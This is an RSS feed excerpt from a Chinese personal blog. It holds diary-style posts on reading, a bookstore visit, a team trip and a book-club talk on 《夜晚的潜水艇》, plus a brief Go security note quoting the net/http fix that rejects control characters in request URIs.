&lt;p&gt;23年上半年基本都集中在阅读了，也很少有社交，虽说我是个E人，但其实也经常处在一种IE浏览器的状态，不管是从内心独处还是与他人社交，我都能获得能量吧。下半年开始，也是源于巧合，参加了公司内的读书会，开始接触，认识了很多新的朋友，不过这是后话了，我后面会再慢慢写。&lt;/p&gt;
&lt;p&gt;我这个人向来是很少有太多长远规划的，但是我会有一个短期的目标，并且不断给自己一些心理暗示。比如我要多阅读，要多社交，我也很少写下来，就是一直记在心里，并且持续不断地朝着这个目标努力。&lt;/p&gt;
&lt;p&gt;现在回过头来想想，这样的规划倒是也很挺合理的，上半年提升自己，厚积薄发，下半年的时候就言之有物了。&lt;/p&gt;
&lt;p&gt;我很庆幸，从4月份开始，坚持写作，不断与自己的内心对话，最开始磕磕绊绊，但随着阅读的积累，写作的反哺，这种状态已经让我感到很舒适了&lt;/p&gt;
&lt;p&gt;举个例子吧，11.9分享《夜晚的潜水艇》时，虽然已经写了逐字稿，但还是会有一些脱稿临机应变的情况。比如讨论的时候就有个人小伙伴问我，人，必须要有一种确定无疑的事物吗？&lt;/p&gt;
&lt;p&gt;我也没多想，就顺着她的话题讲下去了。
我说的是，人大概可以有两种活法，第一种是赤条条来去无牵挂，就是《红楼梦》里写的那样&lt;/p&gt;
&lt;p&gt;第二种就是，我们都知道，历史是只书写王侯将相的，我们普通人很难留下点什么，就像我写博客一样，我觉得是在写我自己的史记，当我走了之后，至少还有一点东西留了下来。至于为什么要藏呢，我想，就像《三体》最后写的那个一样，把字刻在石头上&lt;/p&gt;
&lt;p&gt;感谢写作吧，以后也会不断地坚持下去。&lt;/p&gt;
&lt;h2&gt;杂记——手机APP布局的调整&lt;/h2&gt;
&lt;p&gt;最近又对手机app的布局做了一些调整&lt;/p&gt;
&lt;p&gt;我在这篇&lt;a href=&quot;https://rayepeng.net/weekpost15%E2%84%B9%EF%B8%8F-%E4%BF%A1%E6%81%AF%E6%B5%81%E6%A2%B3%E7%90%86%E5%AE%9E%E8%B7%B5&quot;&gt;周报&lt;/a&gt;中提到过，我不喜欢那种用文件夹来归类app的做法，
但是全部平铺的话，又回导致眼花缭乱&lt;/p&gt;
&lt;p&gt;于是我换了一种思路，是我来使用手机，那一定是以我的使用习惯为准
那我又是怎么使用手机呢，很简单，电梯刷手机，短时间使用手机，长时间使用手机
那自然，就可以按照这几个场景，来划分了&lt;/p&gt;
&lt;p&gt;于是我直接划分了三页，第一屏是刷手机的app，微信，qq，小红书，豆瓣都赫然在列
第二页是短时间，即十分钟左右，那么就适合回顾自己的笔记，看一些杂志之类的
第三页就是长时间了，长视频，阅读类app都可以&lt;/p&gt;
&lt;p&gt;当我按照这个思路来做的时候，很轻松就明确了&lt;/p&gt;
&lt;h2&gt;📮 Newsletter&lt;/h2&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=XtCDSzPCpn0&quot;&gt; 恒大物业状告恒大集团，树倒猢狲散还是金蝉脱壳之计？【汤山老王】 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=CnfTCaG1f7I&quot;&gt;【 失业】中国網民徹底擺爛！2023年中國年輕人失業率高達高達21.3%！年輕人的出入在哪裏？ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.douchi.space/food-delivery-doordash-bay-area-experience/&quot;&gt; 在美国（湾区）送外卖是怎样一种体验 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xlog.pseudoyu.com/weekly_review_20231203&quot;&gt; 周报 52 - 自谦型人格与感情的另一个视角 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MzA3MDM3NjE5NQ==&amp;amp;mid=2650959732&amp;amp;idx=1&amp;amp;sn=180f9330394068ae481602feb37af1ef&amp;amp;chksm=84cb0118b3bc880eada23adbea8229e4f63fddcb8c136ebb70b52ae400246d70b49a8de7bcb7rd&quot;&gt; 豆瓣9.3，这部“神作”过誉了吗 ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>举头望明月，低头六便士——记吾非書店</title><link>https://rayepeng.net/posts/%E4%B8%BE%E5%A4%B4%E6%9C%9B%E6%98%8E%E6%9C%88%E4%BD%8E%E5%A4%B4%E5%85%AD%E4%BE%BF%E5%A3%AB%E8%AE%B0%E5%90%BE%E9%9D%9E%E6%9B%B8%E5%BA%97/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%B8%BE%E5%A4%B4%E6%9C%9B%E6%98%8E%E6%9C%88%E4%BD%8E%E5%A4%B4%E5%85%AD%E4%BE%BF%E5%A3%AB%E8%AE%B0%E5%90%BE%E9%9D%9E%E6%9B%B8%E5%BA%97/</guid><pubDate>Thu, 30 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;举头望明月，低头六便士——记吾非書店&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmdxmWACZ62Jzc5orqMBFS7riuNp5yMfYduqGuDNE5GZAP.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为什么要叫吾非書店呢？可能有两层含义吧&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我不是一家书店/我不只是一家书店（毕竟是和电信合作，挺贴切的hh）&lt;/li&gt;
&lt;li&gt;无非就是一家书店罢了，我倒是挺喜欢这个，毕竟书店总给人一种小清新，文雅装个范的感觉，不过终究无非一家书店罢了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;店长叫衣然，也许出自某篇典故吧，但我并不知道，只觉得莫名好听（补充下人也超级有趣好玩的！是一颗有趣的灵魂哈哈）&lt;/p&gt;
&lt;p&gt;一个人运营一家书店，真的可行吗，在吾非書店，我感觉这是可行的&lt;/p&gt;
&lt;p&gt;从书籍摆放，饮品制作，活动举办，创意市集，身为店长的衣然，一个人周旋于案牍之间，却还能保持着一颗放浪形骸之外的心灵&lt;/p&gt;
&lt;p&gt;压力虽大，谈笑自若间，却仿佛举重若轻，泰山崩于前而色不变。我能感受到一种源自于最纯粹对书籍的热爱&lt;/p&gt;
&lt;p&gt;在衣然讲解书籍摆放的时候，其中有几个比较有意思的细节，她刻意将林语堂和鲁迅的书摆在一起，希望这一对前结怨的文人，也能因这现世间一可爱的女子，化解掉往昔的仇恨吧。文人自是有相轻的宿怨，作为读者的我们，可不管那么多&lt;/p&gt;
&lt;p&gt;还有木心，木心，多么好听又优美的名字，也藏在这书店的某一角呢，只有那些愿意慢下心来逛书店的人才能找到吧。指尖在一册册书籍间滑过，拂去一粒粒灰尘，看着一个个大师的名字，仿佛宇宙的终极真理就已然被掌握&lt;/p&gt;
&lt;p&gt;逛书店，不是那种一进来就能直接买一本书的人，那目标太明确了，互联网上的书店就是这样，对于读者来说，更便宜的钱，送上门的物流，更别说大量的折扣与优惠了&lt;/p&gt;
&lt;p&gt;可这世上总该还是要有一些人去坚守，总有些价值是无法用价格来衡量的，总有些逆子，生长于疾风之下，咬定于青山之中&lt;/p&gt;
&lt;p&gt;在吾非書店，确实能看到一群爱书的人，&lt;/p&gt;
&lt;p&gt;典雅的布局，电影的幕布，装点的花朵，古朴的书柜，随处可见的涂鸦，明信片，入口的漂流书屋，窗台边的旧书，未开封的新书，面朝阳光的卡座，咖啡的香味，我实在是忍不住想多待一会&lt;/p&gt;
&lt;p&gt;一整天在茶在书在咖啡在阳光在几案间磨磨蹭蹭的好日子，这天上真有掉下来的馅饼！&lt;/p&gt;
&lt;p&gt;只是可惜在深圳，很少有那样一种氛围了，曾今听过看理想的一档播客节目，标题就很嘲讽了，《在深圳，围观搞钱》&lt;/p&gt;
&lt;p&gt;我很羡慕在北京，能有一群同样忧国忧民的小伙伴，在一个清风明月的夜晚，举杯把盏，半醉半醒之间，脱口而出一句，“这个世界会好吗？”&lt;/p&gt;
&lt;p&gt;为之潸然泪下，为之欢欣鼓舞&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>golang 安全问题</title><link>https://rayepeng.net/posts/golang-%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/golang-%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/</guid><pubDate>Tue, 21 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;golang 安全问题&lt;/p&gt;
&lt;p&gt;net/http CRLF漏洞&lt;/p&gt;
&lt;p&gt;没有判断：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmPFw6hkWprE6g5cXyh3sdBPbbkTHP9BqvX3xAdgU9PTit.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker pull golang:1.11.5-alpine3.7
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ruri := r.URL.RequestURI()
if usingProxy &amp;amp;&amp;amp; r.URL.Scheme != &quot;&quot; &amp;amp;&amp;amp; r.URL.Opaque == &quot;&quot; {
	ruri = r.URL.Scheme + &quot;://&quot; + host + ruri
} else if r.Method == &quot;CONNECT&quot; &amp;amp;&amp;amp; r.URL.Path == &quot;&quot; {
	// CONNECT requests normally give just the host and port, not a full URL.
	ruri = host
	if r.URL.Opaque != &quot;&quot; {
		ruri = r.URL.Opaque
	}
}
if stringContainsCTLByte(ruri) {
	return errors.New(&quot;net/http: can&apos;t write control character in Request.URL&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;移除掉CRLF&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// stringContainsCTLByte reports whether s contains any ASCII control character.
func stringContainsCTLByte(s string) bool {
	for i := 0; i &amp;lt; len(s); i++ {
		b := s[i]
		if b &amp;lt; &apos; &apos; || b == 0x7f {
			return true
		}
	}
	return false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报21 惠州、新域名与阅读分享</title><link>https://rayepeng.net/posts/weekpost21/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost21/</guid><pubDate>Tue, 21 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报21 惠州、新域名与阅读分享&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmajrVpU6Vc7SqoCfyigoKjzS8ubYc9y1zgWLN8WcwCQYU.png&quot; alt=&quot;周报21&quot; /&gt;&lt;/p&gt;
&lt;p&gt;距离上一篇周报已经过去两周了，我在flomo上记过一段想法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最近一段时间停了周报，感觉写的越多，就越沦为一种负担和强迫，因此有必要向内求索，向外探寻，去重新发现更多有意义的事情，还有值得记录的想法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这两周时间也有了一些新的体验，又忍不住开始写周报了🥰&lt;/p&gt;
&lt;p&gt;上周六组内团建去了一趟惠州巽寮湾，挺累的，不过在海边的小别墅烧烤，夜晚抬头看久违的星星，以及深夜的德州都惊喜满满。周日中午赶着打了一辆顺风车回深圳，作为主讲人，分享了一本我最喜欢的书《夜晚的潜水艇》，最开始稍有些紧张，额头一直冒汗，但很快就进入了状态，就是不知道语速有没有放慢下来，期待后续再次准备好新的分享，可能会讲点历史方面的书吧。工作时摸鱼想了下还是有必要搞个个人的域名，之前注册了一个 &lt;code&gt;raye.wiki&lt;/code&gt; 但总感觉差点意思。搜了下&lt;code&gt;raye&lt;/code&gt; 相关的域名差不多都没了，只好退而求其次，&lt;code&gt;rayepeng.net&lt;/code&gt; 还挺喜欢的，迁移到cloudfare的解析，白嫖下解析套餐。你现在看到这篇文章的时候，我已经完成了域名迁移。&lt;/p&gt;
&lt;p&gt;前段时间听杨照老师讲司马迁写《史记》，才意识到有很多问题实际上没想到的。《史记》作为第一部纪传体史书，其面临的困难是很多的，试举一例，项羽和刘邦的鸿门宴，两个人都经历过，那这段故事应该放在谁的传记里？司马迁给出的答案是放在项羽本纪中，而对应到高祖本纪中，则是简单地略写。&lt;/p&gt;
&lt;p&gt;我突然想到这个例子，是因为写周报这件事看似简单，实则就像写史记一样，虽不是什么通古今之变的作品，但也是属于我个人的一些微不足道的记录。其中的详略安排，只有写起来的时候才能感受到。写作与写作之间，其实本没什么高下，如果可以，我也想做司马迁身旁的一位书童，为其研墨镇纸。&lt;/p&gt;
&lt;p&gt;惠州&lt;/p&gt;
&lt;p&gt;虽然但是，临时起意的旅行还是打乱了我的安排。惠州的团建虽说比较仓促，但体验还是不错的，虽然巽寮湾已经是第二次去了。车上还看到了上次团建时吃海鲜大排档的餐馆🤣，属于是故地重游了&lt;/p&gt;
&lt;p&gt;第一次室外温泉，貌似没看到几个好看的小姐姐🐶，但是真的好冷。披着一个毯子游走在各个温泉池之间，同时还解锁了泡温泉差点晕倒的成就，这一点和pr5体验一致了属于是🤔&lt;/p&gt;
&lt;p&gt;回去后便开始了紧张的切菜串串烤串的工作，一群人忙活到深夜12点多才吃上第一口肉，都怪木炭不给力🤣。但一轮弯月当空，头顶上还有无数的星星，以及远处可见的烟花，都带来了很多惊喜&lt;/p&gt;
&lt;p&gt;惠州夜晚的星星是真的太多了，在深圳哪怕是有，也鲜少有这样的闲情抬头凝望一颗颗明亮如宝石般的星星。而且，手机拍摄的星空比肉眼见到的要多多了，冷知识+1&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmUwjJNCuat6muBRViNbKhWAW8nJJGsW5PmgFttf2DfEpr.jpeg&quot; alt=&quot;IMG_5865&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同事安利了一个星图软件 Stellarium，简直不要太好用。我从小就不知道怎么看哪颗星星叫什么名字，就像我可能现在还认不出农田里的作物叫啥一样（其实主要是教科书上那点知识，以及老师讲的根本就不清楚）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmWBPMvbZWqRJQK8stXceM9a4HAP3VmA87ehtoPAoeV9Sf.png&quot; alt=&quot;IMG_5869&quot; /&gt;&lt;/p&gt;
&lt;p&gt;封面图出自我们在巽寮湾住的小别墅&lt;/p&gt;
&lt;p&gt;读书会分享&lt;/p&gt;
&lt;p&gt;虽说作为一次线下读书会主讲人是我一直以来想要做的一个事情了，不过真正实践起来还是会遇到很多的问题&lt;/p&gt;
&lt;p&gt;其中就包括我一拖再拖的稿子，虽然很早就开始构思了，但实际上都是到临近分享的前一周开始动笔
（我这该死的拖延症&lt;/p&gt;
&lt;p&gt;虽然前一周的周末没有完全整完，但是预计着上班时间摸摸鱼+周六还有一天肯定能搞完的
结果一上班就发现，我将要面临两个汇报材料的整理，头都整麻了，看来上班摸鱼是没法了
周三的时候，突然又临时决定周末去惠州团建？我..真就计划全被打乱了呗😀&lt;/p&gt;
&lt;p&gt;于是只能每天下班后，靠着上床睡觉前的俩小时来续命整稿子和ppt了&lt;/p&gt;
&lt;p&gt;果然人太忙了，就会导致失去游戏的兴趣，我一点打游戏的想法都没有，累的时候只想躺下来看看书&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://rayepeng.net/1119-ye-wan-de-qian-shui-ting-fen-xiang&quot;&gt;他在幻想的羊水中写作——11.19 《夜晚的潜水艇》分享 - raye~ (rayepeng.net)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;新域名&lt;/p&gt;
&lt;p&gt;xlog博客域名正式更换为 &lt;a href=&quot;rayepeng.net&quot;&gt;rayepeng.net&lt;/a&gt; 了&lt;/p&gt;
&lt;p&gt;同时也解锁了使用 obsidian 来发布 xlog博客，感觉效率就上升了好多了，恰好Ulysses的半年订阅也已过期了，于是就全部迁移到obsidian来吧&lt;/p&gt;
&lt;p&gt;obsidian现在也确实越来越好用了，从两年前我第一次接触的时候，感觉还只是能用的水平，现在的功能更加完善了&lt;/p&gt;
&lt;p&gt;sync-to-xlog 插件体验了下，感觉还有几个可以优化的点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;自动识别我在obsidian的标签，并且同步到xlog上，同时发布的文章中去除掉文本中的标签？&lt;/li&gt;
&lt;li&gt;双向链接其实并没有转化过去，这个其实有点难搞&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/XOyEdmqIYrmt3fkekGqPPQ&quot;&gt; 只是一份工作 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://veryjack.com/life/goodbye_mimi/&quot;&gt; 再见，小猫咪 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/u7iqQkOpusH_5wrYg1D5XA&quot;&gt;又见年度书单&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/1LK3hFQgzJbkFT3rEQLhQw&quot;&gt;25年，腾讯一直在思考「我们的用户在哪？」&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/X4p1D-smhyR5ENef5gcogQ&quot;&gt;论著选刊 | 李硕：周灭商与华夏新生&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/SL807HQ_fSCvOMVtL8LPGw&quot;&gt;赛跑的最高境界，是不动声色地“控制时间” &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>他在幻想的羊水中写作——11.19 《夜晚的潜水艇》分享</title><link>https://rayepeng.net/posts/%E4%BB%96%E5%9C%A8%E5%B9%BB%E6%83%B3%E7%9A%84%E7%BE%8A%E6%B0%B4%E4%B8%AD%E5%86%99%E4%BD%9C1119-%E5%A4%9C%E6%99%9A%E7%9A%84%E6%BD%9C%E6%B0%B4%E8%89%87%E5%88%86%E4%BA%AB/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%BB%96%E5%9C%A8%E5%B9%BB%E6%83%B3%E7%9A%84%E7%BE%8A%E6%B0%B4%E4%B8%AD%E5%86%99%E4%BD%9C1119-%E5%A4%9C%E6%99%9A%E7%9A%84%E6%BD%9C%E6%B0%B4%E8%89%87%E5%88%86%E4%BA%AB/</guid><pubDate>Sun, 19 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;他在幻想的羊水中写作——11.19 《夜晚的潜水艇》分享&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmVcNxFWe6qQnRfN1fJqiFh4R1P9V3VnW4QdUTKAetzAPC.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;自我介绍&lt;/p&gt;
&lt;p&gt;大家好，我是来自xxxxxx的raye，这次要给大家分享的这本书是《夜晚的潜水艇》&lt;/p&gt;
&lt;p&gt;我的工作和平台运营相关，大家叫我raye就行了（虽然我以前也有个笔名，叫河广，语出诗经，“谁谓河广，一苇杭之”）&lt;/p&gt;
&lt;p&gt;简单介绍下我吧，从大学时代开始喜欢写博客，raye.xlog.app现在是我唯一还维护的了（最近把域名切换到了rayepeng.net，不过会自动重定向的），其余的爱好就是羽毛球和主机游戏了，日常周末上午滨海约球局，欢迎随时交流&lt;/p&gt;
&lt;p&gt;阅读方面，是一个重度历史阅读爱好者，微信读书给我总结的热力图是酱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmR5ALrRNbCntTeYRDMKTzmKHN5HMGy71WjzSiMBzfaoGR.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我之前还分享过一本《微积分的力量》，不过是在其他的读书会上，而且是在线上。这次也是想挑战下，同时让更多的人看到这本好书&lt;/p&gt;
&lt;p&gt;由于这本书比较特殊，实际上是由9篇小说的合集，因此我每讲完一篇小说后，就会有一些问题提给大家
另外我准备了两本夜晚的潜水艇，双十一的时候看价格比较低入了两本准备送给大家的，并且我这个人有一个观点，那就是必须要送旧书，因为未拆封的新书总给人一种距离感，反而会让人束之高阁。所以这两本书一周前就到了，并且放在我书柜上故意做旧了一周，因为我真的两本都有翻看和记录，后面我看谁回答的比较好就送出去吧🤣，当然你也可以选择不要，因为微信读书上也有这本书&lt;/p&gt;
&lt;p&gt;第一篇 夜晚的潜水艇&lt;/p&gt;
&lt;p&gt;介绍&lt;/p&gt;
&lt;p&gt;我不知道有多少人知道博尔赫斯，但是我一开始绝对是想不起这个人的，直到我后来才想起来他说的，曾经无数次出现在所有作文中的一句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有天堂，那一定是图书馆的样子吧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这本书里的很多细节其实和博尔赫斯都有一些照应关系，或者不好的话说就是碰瓷，但我们大可抛开这一切，专注于欣赏作品本身&lt;/p&gt;
&lt;p&gt;这也是这本书的第一篇了，不知道是不是有意无意，它被放在了这本书的第一篇。你可以说是出版社有意为之，但这个标题其实并不太吸引人，反而会让人产生误解&lt;/p&gt;
&lt;p&gt;对，千万不要被书名所疑惑了，翻开之前可能以为是类似儒勒凡尔纳的地心游记，八十天环游地球一类的科幻小说，实际上并无太多关系&lt;/p&gt;
&lt;p&gt;当然，你也可以说是按照作者最喜欢的顺序排列的，当你读完整本书后，或多或少会觉得，这可能就是作者的另一种形式的自传了，可能很多人都觉得陈透纳，能看到大部分人的身影&lt;/p&gt;
&lt;p&gt;故事很简单，我们可以从书中摘出三句话来代表三条线索，相信大部分人都看完了第一篇，所以也就不去费口舌地讲一遍内容了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;同年春天，一个念头在黎明时分掉进他梦中，促使他资助了一场史上最荒诞的壮举。他要找到博尔赫斯扔进海里的那枚硬币。&lt;/li&gt;
&lt;li&gt;遇到一艘潜艇卡在那里，不知是哪国的，我们出手救了它&lt;/li&gt;
&lt;li&gt;海浪冲上来一小片金属疙瘩，锈蚀得厉害。小孩捡起来看了看，一扬手，又扔回海里去了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;想象力&lt;/p&gt;
&lt;p&gt;这本书最吸引人的点，可能就是交织于其中的想象力了&lt;/p&gt;
&lt;p&gt;陈春成是90后作家，因此我们可以在文字中看到很贴近我们生活的事物，这也带给了我们一种无与伦比的亲切感，如：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;每天夜里，我坐到书桌前，用手指敲敲桌面，系统启动，桌面就变成控制台，上面有各种仪表。前方的窗玻璃显示出深蓝色的海底景象。副驾驶位上的皮卡丘说：皮卡皮卡！它的意思是，Captain Chan，我们出发吧！妙蛙种子说：种子种子。这是说，一切准备就绪。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我不知道有多少人读到这里的时候，和我一样，掩卷，慧心一笑。尤其是第二篇竹峰寺中还提到了打魔兽&lt;/p&gt;
&lt;p&gt;我相信每个男孩看到这里，都会忍不住笑出声来，我相信每个小男孩都会有过类似的幻想，小时候会拿着手头的玩具，再利用手头的环境，泥土，石头，沙子，草丛，自行去勾勒出一副星球大战的图景，驾驶着机甲穿梭于多个平行时空，所有的物理规律在都无法阻碍你，上可摘星揽月，下可日行八万里&lt;/p&gt;
&lt;p&gt;这也就是为什么，我们玩到塞尔达的时候，会发现这游戏真tm好玩，我举个一个例子，当你从高空落下的时候，旁边飞过一颗流星，你会发现那颗星星是真的可以摘的！&lt;/p&gt;
&lt;p&gt;类似的场景，沈三白也曾在浮生六记中写到过，”余常于土墙凹凸处，花台小草丛杂处，蹲其身，使与台齐；定神细视，以丛草为林，以虫蚁为兽，以土砾凸者为丘，凹者为壑，神游其中，怡然自得。”&lt;/p&gt;
&lt;p&gt;其实我恨不得很早就读到这部作品，因为当你长大后再阅读的时候，你就会去自然而然的寻找里面的解释，而不是相信眼前的答案，如：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有一晚睡前，我看了好久莫奈的睡莲，梦中我变得很小很小，在那些花瓣间遨游，清晨醒来后，枕边还有淡淡幽香。早饭时母亲问我是不是偷喷了她的香水。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;妙蛙种子问：种子种子？（今晚这么晚？）我说，久等了，出发吧！那晚我们在北冰洋的冰层下潜行。我忘了设计取暖装置，结果第二天醒来，感冒了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我相信很多人看到这里的时候，都会情不自禁的给出解释，梦游喷香水啦，忘记盖被子着凉啦&lt;/p&gt;
&lt;p&gt;但是你会发现成年人的解释，总是苍白无力且煞风景的，焚琴煮鹤大抵不过如此。反而在想象力中，梦游可以被解释为在花瓣中遨游，忘记盖被子可以被解释为没有设计取暖装置&lt;/p&gt;
&lt;p&gt;我想到了以前真实见过的另一个邻居小孩的故事，那个小孩看到下暴雨，你知道他将其想象成什么吗？下暴雨，那是天和地在拔河。&lt;/p&gt;
&lt;p&gt;陈透纳也是一个让人扼腕的故事，故事的结尾，为了高考，为了那些讨厌的事物：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我想象我的想象力脱离了我，于是它真的就脱离了我。那团蓝光向窗外飘去。我坐在书桌前，有说不出的轻松和虚弱，看着它渐渐飞远。最后它像彗星一样，冲天而去。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;关于想象力，读到这篇的时候一些童年的回忆瞬间就击中了我，这个回忆是关于一位作家，我几乎读完了他的所有作品，让大家来猜一下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;他只有小学学历，他的儿子也只有小学学历&lt;/li&gt;
&lt;li&gt;他自己一个人创建了一本杂志，只刊登自己的作品&lt;/li&gt;
&lt;li&gt;他笔下的创建的形象有一个男孩，一个女孩，两只老鼠，一只大灰狼&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;郑渊洁，不知道大家猜出来了没有&lt;/p&gt;
&lt;p&gt;类似的写法，郑渊洁的童话故事中也有过类似的描写，皮皮鲁因为厌恶学校对想象力的扼杀，因此每次写日记的时候都要写两本，一本是为了应付学校检查的，另一本则是在其中发挥自己无穷无尽的想象力&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我特怕为了迎合老师的要求而写日记导致葬送了我的文学天才，假如我的遗传基因里有的话。正当我为此苦闷而惶惶不可终日的时候，电视中的一则新闻启发了我。那新闻大意是，有一家企业为了逃税，建立了两本账。一本真账给自己看，一本假账蒙蔽税务人员。我决定借用该企业的这个方法，写两个版本的日记，也就是建真假两本账。写真日记的目的是一旦我身上有文学基因，就由此保留住了。谁让现在的科学还落后到不能化验出每个人身体里富含何种特长呢。在真日记里，我自然会极尽发挥想像之能事。写假日记的目的不言而喻，是为了应付和糊弄老师骗个好分数达到升学的目的。
记住，一个人有两个不同版本的日记，这是我皮皮鲁的专利。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;总结&lt;/p&gt;
&lt;p&gt;我今年回顾郑渊洁的作品，写下了这么一段话：
郑渊洁写的最好的地方，是他从一个孩童的视角去对成人世界的描绘，从大灰狼、小老鼠等被人嫌恶的角色一点点着笔。
他对人性的最黑暗处进行描绘，像一个最精巧的手术专家对人类的心灵进行剖析。
是对人心的无尽探索，展示出隐藏在笑声背后的深层次思考。
每每写到这里，他就开始失控，开始癫狂，好像人类的喜怒哀乐都与他无关。
他从容地穿越理性与荒诞的边界，将童话世界和现实生活的界限模糊化，
陈旧腐朽的观念被打破，世界的运行规则被一笔带过，展现出一个充满奇幻色彩的世界。
在这个世界里，孩子们学会了勇敢面对困难，感受到友谊的力量，而成人们则在这个童趣的世界中找回了失去的纯真。&lt;/p&gt;
&lt;p&gt;9月3日，重读《夜晚的潜水艇》写下了如下的读后感&lt;/p&gt;
&lt;p&gt;看陈春成的小说，就像一个患者，被他连哄带骗地，在手术床上躺下
闭上眼睛，麻药入体，惨淡的灯光下，当他确认你已不能动弹。
每每此时，他便开始癫狂，开始近乎变态的对文字进行拆解，恨不得只留下偏旁部首，如同施展玄妙的文字阵法
似乎灵魂迷宫曲折的道路，宇宙尽头演化的规律，幽暗空间奇妙的玄幻，尽皆为其所包裹
你只能眼睁睁地看着这一切，无力反抗，无力挣扎
这其中，第一篇《夜晚的潜水艇》则尤为让我欣赏。在孩童的眼中，每一滴雨水都可能是一场大冒险的开始，每一处彩虹都是通往另一个世界的门户，每一个字都充满了魔法和力量
就像一幅永远画不完的画，一本永远写不完的故事，一片难以穷尽的蓝天
然而结尾，仅剩的稀薄想象力，早已无力支撑起潜艇的运行
“这里不再有繁密的枝叶、柔软的泥沼、斑斓的鹦鹉和吐着信子的蛇，眼前只有确凿的地面和匆匆的人”&lt;/p&gt;
&lt;p&gt;刚刚提过，夜晚的潜水艇奠定了整本小说的基调，那就是幻想，荒诞&lt;/p&gt;
&lt;p&gt;这是一场梦境与现实交织的旅行：海底漫游的少年、深山遗落的古碑、弥散万物的字句
这是一场想象与惊奇的饕餮盛宴：云彩修剪站、梦中的彩笔，蓝鲸内的演奏
